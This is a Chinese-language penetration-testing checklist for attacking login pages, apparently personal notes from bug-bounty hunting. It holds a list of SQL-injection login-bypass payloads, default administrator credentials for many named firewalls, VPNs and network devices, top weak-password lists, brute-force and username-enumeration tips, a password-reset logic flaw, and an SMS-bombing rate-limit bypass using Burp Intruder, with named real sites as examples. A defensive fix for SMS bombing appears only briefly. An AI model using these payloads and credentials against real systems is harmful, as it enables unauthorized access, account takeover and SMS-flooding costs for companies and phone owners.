登录界面-渗透测试
由图展开思路:
登陆页面的渗透测试
首先 在进入登陆界面时,一般都是先用万能密码什么的测下输入框有没有注入(现在很少见了)。如果没有,那就先拿admin,123456什么的测试下弱口令,不求运气爆棚一下就猜到密码。主要是看下回显,查看是否存在账号锁定策略,密码不正确,不存在此用户名等信息,以便于尝试遍历可能存在的用户名。没验证码就上爆破工具,有验证码的话看看能不能绕过,实在不行手工测几个账号密码碰碰运气。
爆破除了普通的用户名密码字典爆破,还有一种姿势是固定密码爆破用户名。比如使用固定密码123456,爆破常用用户名或者常用人名拼音。
目录扫描:说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等。 fuzz工具试试 wfuzz
框架漏洞:
对一些CMS,已经比较成熟了,漏洞确实不好挖。如果网上(乌云,seebug,搜索引擎等)的历史漏洞没有复现成功,那一般情况下就只能寻找下逻辑漏洞、网站管理员配置错误或者弱口令什么的。
对于一些不知名的框架,一般也可通过登陆界面底下的声明中找到开发公司和产品版本时间。
在网上找找此公司产品是否爆出过漏洞。若是开源的框架,还可下载源码进行代码审计寻找漏洞。
像java的站,登陆页面是.do或.action的网址。可尝试下 struts2 命令执行漏洞,本人一般使用安恒的S2漏洞验证工具。
弱口令:
次数 密码 392 123456 281 a123456 165 123456a 161 5201314 157 111111 136 woaini1314
遇到网络设备,基本像交换机、路由器、安全设备之类的,可以尝试一下默认密码
参考:
天融信防火墙,不需要证书 登录地址:https://192.168.1.254 用户名:superman 密码:talent 技术支持热线:8008105119 天融信防火墙,不需要证书 登录地址:https://192.168.1.254:8080 用户名:superman 密码:talent!23 遇到设备需要把旧设备配置备份下来,再倒入新设备基于console口登陆,用户名,密码跟web界面一致 system config reset 清除配置 save 保存 联想网御防火墙,需要证书(最好用IE浏览器登录) 登录地址:https://10.1.5.254:8889 用户名:admin 密码:leadsec@7766、administrator、bane@7766 技术支持热线:4008107766 010-56632666 深信服防火墙(注安全设备管理地址不是唯一的) https://10.251.251.251 https://10.254.254.254 用户名:admin 密码:admin 技术支持热线:4006306430 启明星辰 https://10.1.5.254:8889 用户名:admin 密码:bane@7766 https://10.50.10.45:8889 用户名:admin 密码:admin@123 电脑端IP:10.50.10.44/255.255.255.0 技术支持热线:4006243900 juniper 登录地址:https://192.168.1.1 用户名:netscreen 密码:netscreen Cisco 登录地址:https://192.168.0.1 用户名:admin 密码:cisco Huawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123 H3C 登录地址:http://192.168.0.1 用户名:admin 密码:admin 技术支持热线:4006306430 绿盟IPS https://192.168.1.101 用户名: weboper 密码: weboper 配置重启生效 网神防火墙GE1口 https://10.50.10.45 用户名:admin 密码:firewall 技术支持热线:4006108220 深信服VPN: 51111端口 delanrecover 华为VPN:账号:root 密码:mduadmin 华为防火墙: admin Admin@123 eudemon eudemon Juniper防火墙: netscreen netscreen 迪普 192.168.0.1 默认的用户名和密码(admin/admin_default) 山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone 安恒的明御防火墙 admin/adminadmin 某堡垒机 shterm/shterm 天融信的vpn test/123456
社工:
像教育站,登陆账号可能是学号,密码是身份证后六位。百度查xxx学校一卡通丢失,一般就能从某学生的失物启示找到学号。
或者在文章标题下,若存在作者名字,可能就是用户名
密码除结合管理员电话,qq,姓名等外,还可注意下网站的一些关键词。
社工密码字典生成, 在线网站生成:http://tools.mayter.cn/
hashcat这款爆破工具也能生成社工字典
逻辑漏洞:
云短信接受平台:
越权:更改返回包,禁用js文件、审查网站源码、
快速在网站的js文件中提取URL,子域名的工具:JSFinder
-
密码明文传输
-
敏感数据明文传输
敏感数据明文传输简单点来说就是当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)即可获取到这些未加密的敏感数据。当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。
目前很多网站都是站库分离(站点与站点的数据库在不同的服务器上),获取了站点的权限不一定就会获取到更多的敏感数据更或是数据库的访问权限,可能连应用系统后台都进不去,使用嗅探呢?如果站点是使用https进行传输的,嗅探能成功吗?答案是否定的!下面将详细介绍关于对敏感数据明文传输漏洞如何利用的过程!
初验敏感数据是否是明文传输
我们如何判断一个网站的登录(下面将统一以登录的账号及密码作为敏感数据进行测试)是否是明文传输。一是使用抓包工具,二是使用浏览器自带的功能!推荐使用浏览器自带的功能,使用抓包的话推荐使用burpsuite,只是抓取https的数据包时需要提前进行额外的配置——安装burpsuite的CA证书,具体配置见官方配置。
首先通过火狐浏览器的F12功能,我们选择【网络】模块,并点击HTML进行筛选,如图1所示:
图1 设置火狐浏览器
然后点击登录即可获取到post或者get的请求头及请求主体的内容,如图2所示,就获取到了http明文登录的敏感数据了。
图2 获取http敏感数据
通过使用burpsuite进行抓包也是一样的,只要配置好了burpsuite,我们也可以抓取这些敏感数据,如图3所示:
图3 获取http明文数据
-
任意用户注册
注册的地方,很简单
http://www.homeinns.com/member/register#
注册成功了几个:13444444441,13444444442
如家酒店积分商城任意用户注册漏洞\任意积分兑换 http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0165121
-
忘记密码处逻辑漏洞
案例介绍: 问题出现在忘记密码处,可以通过手机找回和邮箱找回密码两种方式获得指定帐户的新密码设置权限
进入忘记密码,填写想要获取权限帐号的ID
获得url
选择邮箱找回
获得url:
系统已将新密码设置url发送给邮箱
此时只需要将前面获取的url修改一下
即可获得设置该用户新密码的权限
-
短信、邮件炸弹
现在的很多项目都少不了给用户手机号或者邮箱账号发短信邮件之类的,但是很多发送短信都是借助于第三方接口来发送短信的,这样一来,发送的短信就是有限制的,收费的哦。如果系统做的不太好,有些小漏洞,被白帽子发现还好,要是被那些黑帽子发现了,少则几千,严重者可能导致公司倒闭啊。即使不被黑帽子攻击,有些恶意的用户也可能对我们的系统进行破坏,上一个项目的2.0版本,就正好碰上这种事情,漏洞被恶意用户发现了,拿来玩耍,结果导致公司一夜之间少了好几千,老大只好让人连夜修补漏洞,前车之鉴,我们要把别人撞到头破血流的经验拿来当做自己的经验,所以说还是谨慎些好,做好一些能想到的安全措施。
看一下他们是怎么发送短信炸弹的
右下角,编辑和重发,输入手机号就不停的发送短信了,你可知道这些短信都是公司花钱买的,就因为漏洞暴露在别人面前,他们拿来玩耍,就给公司带来很多不必要的损失,所以一定要注意项目的各种安全隐患。
解决办法:就是每个手机号每天只能发送5次短信,每个ip每分钟只能发送1次
短信轰炸,一般人可能抓包重放失败后就放弃了。这里有个技巧,
是从西门吹雪师傅博文里学到的绕过的姿势:
发送短信处一般每隔60秒才能发送一次
但若是发包时在手机号后加上一个空格、加号或换行符等特殊字符。然后重新发送,这时若发送成功,则说明可绕过限制。
此时在intruder模块只要持续递增空格就可造成无限短信轰炸
参考链接:http://ximcx.cn/post-143.html
- 弱口令
频率比较高的公共弱口令:
(Top 100):
123456 a123456 123456a 5201314 111111 woaini1314 qq123456 123123 000000 1qaz2wsx 1q2w3e4r
qwe123 7758521 123qwe a123123 123456aa woaini520 woaini 100200 1314520 woaini123 123321
q123456 123456789 123456789a 5211314 asd123 a123456789 z123456 asd123456 a5201314 aa123456
zhang123 aptx4869 123123a 1q2w3e4r5t 1qazxsw2 5201314a 1q2w3e aini1314 31415926 q1w2e3r4
123456qq woaini521 1234qwer a111111 520520 iloveyou abc123 110110 111111a 123456abc w123456
7758258 123qweasd 159753 qwer1234 a000000 qq123123 zxc123 123654 abc123456 123456q qq5201314
12345678 000000a 456852 as123456 1314521 112233 521521 qazwsx123 zxc123456 abcd1234 asdasd
666666 love1314 QAZ123 aaa123 q1w2e3 aaaaaa a123321 123000 11111111 12qwaszx 5845201314
s123456 nihao123 caonima123 zxcvbnm123 wang123 159357 1A2B3C4D asdasd123 584520 753951 147258
1123581321 110120 qq1314520
对于网站后台而言,一般为:
admin
manager
admin123
admin888
admin666
具体来说,不同的后台类型拥有不同的弱密码:
数据库(phpmyadmin):账号:root,密码:root、root123、123456
tomcat:账号:admin、tomcat、manager,密码:admin、tomcat、admin123、123456、manager
jboss:账号:admin、jboss、manager,密码:admin、jboss、manager、123456
weblogic:账号:weblogic、admin、manager,密码:weblogic、admin、manager、123456
- 万能密码
asp aspx万能密码
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码
用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ' OR '1'='1
jsp 万能密码
1'or'1'='1
admin' OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1'or'1'='1 - 登录绕过
后台验证密码SQL语句:
sql = "select * from Manage_User whereUserName='" & name & "' AndPassWord='"&encrypt(pwd)&"'" 将用户名和密码放入查询语句中查询数据库,
在用户名处提交'or'='or',这样就使得SQL语句变成:select* from Manage_User where UserName='’or‘='or'' And PassWord='123456'。((假or真or假and(真/假))=真)执行后得到rs对象的结果为真,这样就能顺利的进入后台了。
- 用户名枚举
漏洞描述:存在于系统登陆页面,利用登陆时的输入系统纯在的用户名错误或不存在用户名或者密码错误,返回不同的出错信息可枚举出系统中存在的账号信息。
检测条件:web登陆页面,登陆错误回显不一致
检测方法:登陆页面通过手工测试,尝试登陆查看回显内容!!!
通过burpsuite 爆破用户名,对比返回包数据大小即可,
WordPress 用户名枚举漏洞 CVE-2017-5487 WordPress < 4.7.1 - Username Enumeration -
验证码缺失
-
验证码可识别
-
验证码返回
-
验证码失效
-
万能验证码(0000)
-
验证码空绕过
-
短信验证码可爆破
虽然渗透比较艰难,但也培养了我的漏洞挖掘能力。反思下自己以前挖漏洞,都是走马观花,面对信息收集来的一大堆资产,都是随便测下就结束,并没有深入且细心地去寻找漏洞,导致之前的SRC挖掘之旅十分困难。因此希望新手在挖洞时能够更加细心,特别是挖掘SRC时,有时就得花时间一个参数一个参数去”怼”,才能有所收获。要相信,大力出奇迹!